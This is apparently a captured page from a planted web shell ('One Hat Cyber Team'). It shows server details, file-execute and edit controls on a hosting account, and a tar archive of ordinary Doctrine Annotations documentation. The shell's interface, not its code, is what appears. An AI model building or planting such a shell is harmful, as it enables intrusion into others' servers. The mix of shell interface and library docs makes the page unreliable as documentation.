One Hat Cyber Team
Your IP:
216.73.216.102
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
home
/
fluxyjvi
/
public_html
/
assets
/
images
/
Edit File:
en.tar
index.rst 0000644 00000006313 15107375102 0006411 0 ustar 00 Deprecation notice ================== PHP 8 introduced `attributes <https://www.php.net/manual/en/language.attributes.overview.php>`_, which are a native replacement for annotations. As such, this library is considered feature complete, and should receive exclusively bugfixes and security fixes. Introduction ============ Doctrine Annotations allows to implement custom annotation functionality for PHP classes and functions. .. code-block:: php class Foo { /** * @MyAnnotation(myProperty="value") */ private $bar; } Annotations aren't implemented in PHP itself which is why this component offers a way to use the PHP doc-blocks as a place for the well known annotation syntax using the ``@`` char. Annotations in Doctrine are used for the ORM configuration to build the class mapping, but it can be used in other projects for other purposes too. Installation ============ You can install the Annotation component with composer: .. code-block:: $ composer require doctrine/annotations Create an annotation class ========================== An annotation class is a representation of the later used annotation configuration in classes. The annotation class of the previous example looks like this: .. code-block:: php /** * @Annotation */ final class MyAnnotation { public $myProperty; } The annotation class is declared as an annotation by ``@Annotation``. :ref:`Read more about custom annotations. <custom>` Reading annotations =================== The access to the annotations happens by reflection of the class or function containing them. There are multiple reader-classes implementing the ``Doctrine\Common\Annotations\Reader`` interface, that can access the annotations of a class. A common one is ``Doctrine\Common\Annotations\AnnotationReader``: .. code-block:: php use Doctrine\Common\Annotations\AnnotationReader; use Doctrine\Common\Annotations\AnnotationRegistry; // Deprecated and will be removed in 2.0 but currently needed AnnotationRegistry::registerLoader('class_exists'); $reflectionClass = new ReflectionClass(Foo::class); $property = $reflectionClass->getProperty('bar'); $reader = new AnnotationReader(); $myAnnotation = $reader->getPropertyAnnotation( $property, MyAnnotation::class ); echo $myAnnotation->myProperty; // result: "value" Note that ``AnnotationRegistry::registerLoader('class_exists')`` only works if you already have an autoloader configured (i.e. composer autoloader). Otherwise, :ref:`please take a look to the other annotation autoload mechanisms <annotations>`. A reader has multiple methods to access the annotations of a class or function. :ref:`Read more about handling annotations. <annotations>` IDE Support ----------- Some IDEs already provide support for annotations: - Eclipse via the `Symfony2 Plugin <https://github.com/pulse00/Symfony-2-Eclipse-Plugin>`_ - PhpStorm via the `PHP Annotations Plugin <https://plugins.jetbrains.com/plugin/7320-php-annotations>`_ or the `Symfony Plugin <https://plugins.jetbrains.com/plugin/7219-symfony-support>`_ .. _Read more about handling annotations.: annotations .. _Read more about custom annotations.: custom custom.rst 0000644 00000023616 15107603110 0006612 0 ustar 00 Custom Annotation Classes ========================= If you want to define your own annotations, you just have to group them in a namespace and register this namespace in the ``AnnotationRegistry``. Annotation classes have to contain a class-level docblock with the text ``@Annotation``: .. code-block:: php namespace MyCompany\Annotations; /** @Annotation */ class Bar { // some code } Inject annotation values ------------------------ The annotation parser checks if the annotation constructor has arguments, if so then it will pass the value array, otherwise it will try to inject values into public properties directly: .. code-block:: php namespace MyCompany\Annotations; /** * @Annotation * * Some Annotation using a constructor */ class Bar { private $foo; public function __construct(array $values) { $this->foo = $values['foo']; } } /** * @Annotation * * Some Annotation without a constructor */ class Foo { public $bar; } Optional: Constructors with Named Parameters -------------------------------------------- Starting with Annotations v1.11 a new annotation instantiation strategy is available that aims at compatibility of Annotation classes with the PHP 8 attribute feature. You need to declare a constructor with regular parameter names that match the named arguments in the annotation syntax. To enable this feature, you can tag your annotation class with ``@NamedArgumentConstructor`` (available from v1.12) or implement the ``Doctrine\Common\Annotations\NamedArgumentConstructorAnnotation`` interface (available from v1.11 and deprecated as of v1.12). When using the ``@NamedArgumentConstructor`` tag, the first argument of the constructor is considered as the default one. Usage with the ``@NamedArgumentConstructor`` tag .. code-block:: php namespace MyCompany\Annotations; /** * @Annotation * @NamedArgumentConstructor */ class Bar implements NamedArgumentConstructorAnnotation { private $foo; public function __construct(string $foo) { $this->foo = $foo; } } /** Usable with @Bar(foo="baz") */ /** Usable with @Bar("baz") */ In combination with PHP 8's constructor property promotion feature you can simplify this to: .. code-block:: php namespace MyCompany\Annotations; /** * @Annotation * @NamedArgumentConstructor */ class Bar implements NamedArgumentConstructorAnnotation { public function __construct(private string $foo) {} } Usage with the ``Doctrine\Common\Annotations\NamedArgumentConstructorAnnotation`` interface (v1.11, deprecated as of v1.12): .. code-block:: php namespace MyCompany\Annotations; use Doctrine\Common\Annotations\NamedArgumentConstructorAnnotation; /** @Annotation */ class Bar implements NamedArgumentConstructorAnnotation { private $foo; public function __construct(private string $foo) {} } /** Usable with @Bar(foo="baz") */ Annotation Target ----------------- ``@Target`` indicates the kinds of class elements to which an annotation type is applicable. Then you could define one or more targets: - ``CLASS`` Allowed in class docblocks - ``PROPERTY`` Allowed in property docblocks - ``METHOD`` Allowed in the method docblocks - ``FUNCTION`` Allowed in function dockblocks - ``ALL`` Allowed in class, property, method and function docblocks - ``ANNOTATION`` Allowed inside other annotations If the annotations is not allowed in the current context, an ``AnnotationException`` is thrown. .. code-block:: php namespace MyCompany\Annotations; /** * @Annotation * @Target({"METHOD","PROPERTY"}) */ class Bar { // some code } /** * @Annotation * @Target("CLASS") */ class Foo { // some code } Attribute types --------------- The annotation parser checks the given parameters using the phpdoc annotation ``@var``, The data type could be validated using the ``@var`` annotation on the annotation properties or using the ``@Attributes`` and ``@Attribute`` annotations. If the data type does not match you get an ``AnnotationException`` .. code-block:: php namespace MyCompany\Annotations; /** * @Annotation * @Target({"METHOD","PROPERTY"}) */ class Bar { /** @var mixed */ public $mixed; /** @var boolean */ public $boolean; /** @var bool */ public $bool; /** @var float */ public $float; /** @var string */ public $string; /** @var integer */ public $integer; /** @var array */ public $array; /** @var SomeAnnotationClass */ public $annotation; /** @var array<integer> */ public $arrayOfIntegers; /** @var array<SomeAnnotationClass> */ public $arrayOfAnnotations; } /** * @Annotation * @Target({"METHOD","PROPERTY"}) * @Attributes({ * @Attribute("stringProperty", type = "string"), * @Attribute("annotProperty", type = "SomeAnnotationClass"), * }) */ class Foo { public function __construct(array $values) { $this->stringProperty = $values['stringProperty']; $this->annotProperty = $values['annotProperty']; } // some code } Annotation Required ------------------- ``@Required`` indicates that the field must be specified when the annotation is used. If it is not used you get an ``AnnotationException`` stating that this value can not be null. Declaring a required field: .. code-block:: php /** * @Annotation * @Target("ALL") */ class Foo { /** @Required */ public $requiredField; } Usage: .. code-block:: php /** @Foo(requiredField="value") */ public $direction; // Valid /** @Foo */ public $direction; // Required field missing, throws an AnnotationException Enumerated values ----------------- - An annotation property marked with ``@Enum`` is a field that accepts a fixed set of scalar values. - You should use ``@Enum`` fields any time you need to represent fixed values. - The annotation parser checks the given value and throws an ``AnnotationException`` if the value does not match. Declaring an enumerated property: .. code-block:: php /** * @Annotation * @Target("ALL") */ class Direction { /** * @Enum({"NORTH", "SOUTH", "EAST", "WEST"}) */ public $value; } Annotation usage: .. code-block:: php /** @Direction("NORTH") */ public $direction; // Valid value /** @Direction("NORTHEAST") */ public $direction; // Invalid value, throws an AnnotationException Constants --------- The use of constants and class constants is available on the annotations parser. The following usages are allowed: .. code-block:: php namespace MyCompany\Entity; use MyCompany\Annotations\Foo; use MyCompany\Annotations\Bar; use MyCompany\Entity\SomeClass; /** * @Foo(PHP_EOL) * @Bar(Bar::FOO) * @Foo({SomeClass::FOO, SomeClass::BAR}) * @Bar({SomeClass::FOO_KEY = SomeClass::BAR_VALUE}) */ class User { } Be careful with constants and the cache ! .. note:: The cached reader will not re-evaluate each time an annotation is loaded from cache. When a constant is changed the cache must be cleaned. Usage ----- Using the library API is simple. Using the annotations described in the previous section, you can now annotate other classes with your annotations: .. code-block:: php namespace MyCompany\Entity; use MyCompany\Annotations\Foo; use MyCompany\Annotations\Bar; /** * @Foo(bar="foo") * @Bar(foo="bar") */ class User { } Now we can write a script to get the annotations above: .. code-block:: php $reflClass = new ReflectionClass('MyCompany\Entity\User'); $classAnnotations = $reader->getClassAnnotations($reflClass); foreach ($classAnnotations AS $annot) { if ($annot instanceof \MyCompany\Annotations\Foo) { echo $annot->bar; // prints "foo"; } else if ($annot instanceof \MyCompany\Annotations\Bar) { echo $annot->foo; // prints "bar"; } } You have a complete API for retrieving annotation class instances from a class, property or method docblock: Reader API ~~~~~~~~~~ Access all annotations of a class ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getClassAnnotations(\ReflectionClass $class); Access one annotation of a class ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getClassAnnotation(\ReflectionClass $class, $annotationName); Access all annotations of a method ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getMethodAnnotations(\ReflectionMethod $method); Access one annotation of a method ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getMethodAnnotation(\ReflectionMethod $method, $annotationName); Access all annotations of a property ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getPropertyAnnotations(\ReflectionProperty $property); Access one annotation of a property ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getPropertyAnnotation(\ReflectionProperty $property, $annotationName); Access all annotations of a function ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getFunctionAnnotations(\ReflectionFunction $property); Access one annotation of a function ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: php public function getFunctionAnnotation(\ReflectionFunction $property, $annotationName); annotations.rst 0000644 00000023130 15107603110 0007624 0 ustar 00 Handling Annotations ==================== There are several different approaches to handling annotations in PHP. Doctrine Annotations maps docblock annotations to PHP classes. Because not all docblock annotations are used for metadata purposes a filter is applied to ignore or skip classes that are not Doctrine annotations. Take a look at the following code snippet: .. code-block:: php namespace MyProject\Entities; use Doctrine\ORM\Mapping AS ORM; use Symfony\Component\Validator\Constraints AS Assert; /** * @author Benjamin Eberlei * @ORM\Entity * @MyProject\Annotations\Foobarable */ class User { /** * @ORM\Id @ORM\Column @ORM\GeneratedValue * @dummy * @var int */ private $id; /** * @ORM\Column(type="string") * @Assert\NotEmpty * @Assert\Email * @var string */ private $email; } In this snippet you can see a variety of different docblock annotations: - Documentation annotations such as ``@var`` and ``@author``. These annotations are ignored and never considered for throwing an exception due to wrongly used annotations. - Annotations imported through use statements. The statement ``use Doctrine\ORM\Mapping AS ORM`` makes all classes under that namespace available as ``@ORM\ClassName``. Same goes for the import of ``@Assert``. - The ``@dummy`` annotation. It is not a documentation annotation and not ignored. For Doctrine Annotations it is not entirely clear how to handle this annotation. Depending on the configuration an exception (unknown annotation) will be thrown when parsing this annotation. - The fully qualified annotation ``@MyProject\Annotations\Foobarable``. This is transformed directly into the given class name. How are these annotations loaded? From looking at the code you could guess that the ORM Mapping, Assert Validation and the fully qualified annotation can just be loaded using the defined PHP autoloaders. This is not the case however: For error handling reasons every check for class existence inside the ``AnnotationReader`` sets the second parameter $autoload of ``class_exists($name, $autoload)`` to false. To work flawlessly the ``AnnotationReader`` requires silent autoloaders which many autoloaders are not. Silent autoloading is NOT part of the `PSR-0 specification <https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md>`_ for autoloading. This is why Doctrine Annotations uses its own autoloading mechanism through a global registry. If you are wondering about the annotation registry being global, there is no other way to solve the architectural problems of autoloading annotation classes in a straightforward fashion. Additionally if you think about PHP autoloading then you recognize it is a global as well. To anticipate the configuration section, making the above PHP class work with Doctrine Annotations requires this setup: .. code-block:: php use Doctrine\Common\Annotations\AnnotationReader; use Doctrine\Common\Annotations\AnnotationRegistry; AnnotationRegistry::registerFile("/path/to/doctrine/lib/Doctrine/ORM/Mapping/Driver/DoctrineAnnotations.php"); AnnotationRegistry::registerAutoloadNamespace("Symfony\Component\Validator\Constraint", "/path/to/symfony/src"); AnnotationRegistry::registerAutoloadNamespace("MyProject\Annotations", "/path/to/myproject/src"); $reader = new AnnotationReader(); AnnotationReader::addGlobalIgnoredName('dummy'); The second block with the annotation registry calls registers all the three different annotation namespaces that are used. Doctrine Annotations saves all its annotations in a single file, that is why ``AnnotationRegistry#registerFile`` is used in contrast to ``AnnotationRegistry#registerAutoloadNamespace`` which creates a PSR-0 compatible loading mechanism for class to file names. In the third block, we create the actual ``AnnotationReader`` instance. Note that we also add ``dummy`` to the global list of ignored annotations for which we do not throw exceptions. Setting this is necessary in our example case, otherwise ``@dummy`` would trigger an exception to be thrown during the parsing of the docblock of ``MyProject\Entities\User#id``. Setup and Configuration ----------------------- To use the annotations library is simple, you just need to create a new ``AnnotationReader`` instance: .. code-block:: php $reader = new \Doctrine\Common\Annotations\AnnotationReader(); This creates a simple annotation reader with no caching other than in memory (in php arrays). Since parsing docblocks can be expensive you should cache this process by using a caching reader. To cache annotations, you can create a ``Doctrine\Common\Annotations\PsrCachedReader``. This reader decorates the original reader and stores all annotations in a PSR-6 cache: .. code-block:: php use Doctrine\Common\Annotations\AnnotationReader; use Doctrine\Common\Annotations\PsrCachedReader; $cache = ... // instantiate a PSR-6 Cache pool $reader = new PsrCachedReader( new AnnotationReader(), $cache, $debug = true ); The ``debug`` flag is used here as well to invalidate the cache files when the PHP class with annotations changed and should be used during development. .. warning :: The ``AnnotationReader`` works and caches under the assumption that all annotations of a doc-block are processed at once. That means that annotation classes that do not exist and aren't loaded and cannot be autoloaded (using the AnnotationRegistry) would never be visible and not accessible if a cache is used unless the cache is cleared and the annotations requested again, this time with all annotations defined. By default the annotation reader returns a list of annotations with numeric indexes. If you want your annotations to be indexed by their class name you can wrap the reader in an ``IndexedReader``: .. code-block:: php use Doctrine\Common\Annotations\AnnotationReader; use Doctrine\Common\Annotations\IndexedReader; $reader = new IndexedReader(new AnnotationReader()); .. warning:: You should never wrap the indexed reader inside a cached reader, only the other way around. This way you can re-use the cache with indexed or numeric keys, otherwise your code may experience failures due to caching in a numerical or indexed format. Registering Annotations ~~~~~~~~~~~~~~~~~~~~~~~ As explained in the introduction, Doctrine Annotations uses its own autoloading mechanism to determine if a given annotation has a corresponding PHP class that can be autoloaded. For annotation autoloading you have to configure the ``Doctrine\Common\Annotations\AnnotationRegistry``. There are three different mechanisms to configure annotation autoloading: - Calling ``AnnotationRegistry#registerFile($file)`` to register a file that contains one or more annotation classes. - Calling ``AnnotationRegistry#registerNamespace($namespace, $dirs = null)`` to register that the given namespace contains annotations and that their base directory is located at the given $dirs or in the include path if ``NULL`` is passed. The given directories should *NOT* be the directory where classes of the namespace are in, but the base directory of the root namespace. The AnnotationRegistry uses a namespace to directory separator approach to resolve the correct path. - Calling ``AnnotationRegistry#registerLoader($callable)`` to register an autoloader callback. The callback accepts the class as first and only parameter and has to return ``true`` if the corresponding file was found and included. .. note:: Loaders have to fail silently, if a class is not found even if it matches for example the namespace prefix of that loader. Never is a loader to throw a warning or exception if the loading failed otherwise parsing doc block annotations will become a huge pain. A sample loader callback could look like: .. code-block:: php use Doctrine\Common\Annotations\AnnotationRegistry; use Symfony\Component\ClassLoader\UniversalClassLoader; AnnotationRegistry::registerLoader(function($class) { $file = str_replace("\\", DIRECTORY_SEPARATOR, $class) . ".php"; if (file_exists("/my/base/path/" . $file)) { // file_exists() makes sure that the loader fails silently require "/my/base/path/" . $file; } }); $loader = new UniversalClassLoader(); AnnotationRegistry::registerLoader(array($loader, "loadClass")); Ignoring missing exceptions ~~~~~~~~~~~~~~~~~~~~~~~~~~~ By default an exception is thrown from the ``AnnotationReader`` if an annotation was found that: - is not part of the list of ignored "documentation annotations"; - was not imported through a use statement; - is not a fully qualified class that exists. You can disable this behavior for specific names if your docblocks do not follow strict requirements: .. code-block:: php $reader = new \Doctrine\Common\Annotations\AnnotationReader(); AnnotationReader::addGlobalIgnoredName('foo'); PHP Imports ~~~~~~~~~~~ By default the annotation reader parses the use-statement of a php file to gain access to the import rules and register them for the annotation processing. Only if you are using PHP Imports can you validate the correct usage of annotations and throw exceptions if you misspelled an annotation. This mechanism is enabled by default. To ease the upgrade path, we still allow you to disable this mechanism. Note however that we will remove this in future versions: .. code-block:: php $reader = new \Doctrine\Common\Annotations\AnnotationReader(); $reader->setEnabledPhpImports(false); sidebar.rst 0000644 00000000101 15107603110 0006671 0 ustar 00 .. toctree:: :depth: 3 index annotations custom
Simpan